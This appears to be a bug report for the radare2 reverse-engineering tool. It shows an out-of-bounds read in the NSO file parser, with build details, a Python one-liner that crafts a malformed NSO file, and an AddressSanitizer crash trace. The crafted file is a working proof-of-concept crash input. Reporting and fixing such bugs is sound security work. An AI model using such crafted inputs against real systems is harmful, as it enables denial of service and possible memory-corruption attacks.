out-of-bounds read in NSO parser #25338

# copypaste this script into your shell and replace it with the output

Wed Jan 28 11:13:27 AM CET 2026

radare2 6.0.9 +34957 abi:65 @ linux-x86-64
birth: git.6.0.8-190-gb6629710e7 2026-01-28__00:27:08
commit: b6629710e72f2e611e62df4271740f8f5f81a825
options: gpl asan -O1 cs:5 cl:2 make

Linux x86_64

python3 -c "import struct;open('/tmp/obb.nso','wb').write(b'NSO0'+b'\x00'*12+struct.pack('<I',0x10000)+b'\x00'*12+struct.pack('<I',0x20000)+b'\x00'*12+struct.pack('<I',0x30000)+b'\x00'*52)"

➜  radare2 git:(fix/qnx-integer-underflow) ✗ ./binr/radare2/radare2 -e io.cache=true /tmp/obb.nso
AddressSanitizer:DEADLYSIGNAL
=================================================================
==417170==ERROR: AddressSanitizer: SEGV on unknown address 0x50b000012a30 (pc 0x7f6a7c93f82b bp 0x000000050000 sp 0x7ffcc30779d0 T0)
==417170==The signal is caused by a READ memory access.
    #0 0x7f6a7c93f82b in r_lz4_decompress_block /home/oblivionsage/Desktop/radare2/libr/util/rlz4.c:162
    #1 0x7f6a7c99ef98 in r_inflate_lz4 /home/oblivionsage/Desktop/radare2/libr/util/zip.c:108
    #2 0x7f6a790fd07a in decompress /home/oblivionsage/Desktop/radare2/libr/..//libr/bin/p/bin_nso.c:39
    #3 0x7f6a790fd625 in load_bytes /home/oblivionsage/Desktop/radare2/libr/..//libr/bin/p/bin_nso.c:103
    #4 0x7f6a790fd625 in load /home/oblivionsage/Desktop/radare2/libr/..//libr/bin/p/bin_nso.c:153
    #5 0x7f6a78f43857 in r_bin_object_new /home/oblivionsage/Desktop/radare2/libr/bin/bobj.c:265
    #6 0x7f6a78f39105 in r_bin_file_new_from_buffer /home/oblivionsage/Desktop/radare2/libr/bin/bfile.c:827
    #7 0x7f6a78f1a018 in r_bin_open_buf /home/oblivionsage/Desktop/radare2/libr/bin/bin.c:308
    #8 0x7f6a78f1acc0 in r_bin_open_io /home/oblivionsage/Desktop/radare2/libr/bin/bin.c:373
    #9 0x7f6a7bbd951c in r_core_file_load_for_io_plugin /home/oblivionsage/Desktop/radare2/libr/core/cfile.c:485
    #10 0x7f6a7bbd951c in r_core_bin_load /home/oblivionsage/Desktop/radare2/libr/core/cfile.c:740
    #11 0x7f6a7b7b93e4 in binload /home/oblivionsage/Desktop/radare2/libr/main/radare2.c:617
    #12 0x7f6a7b7b93e4 in r_main_radare2 /home/oblivionsage/Desktop/radare2/libr/main/radare2.c:1615
    #13 0x5601f9137376 in main /home/oblivionsage/Desktop/radare2/binr/radare2/radare2.c:119
    #14 0x7f6a77a34ca7 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #15 0x7f6a77a34d64 in __libc_start_main_impl ../csu/libc-start.c:360
    #16 0x5601f91371c0 in _start (/home/oblivionsage/Desktop/radare2/binr/radare2/radare2+0x21c0) (BuildId: 909085034c085d4117b39b41a6f5d9150795fa89)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/oblivionsage/Desktop/radare2/libr/util/rlz4.c:162 in r_lz4_decompress_block
==417170==ABORTING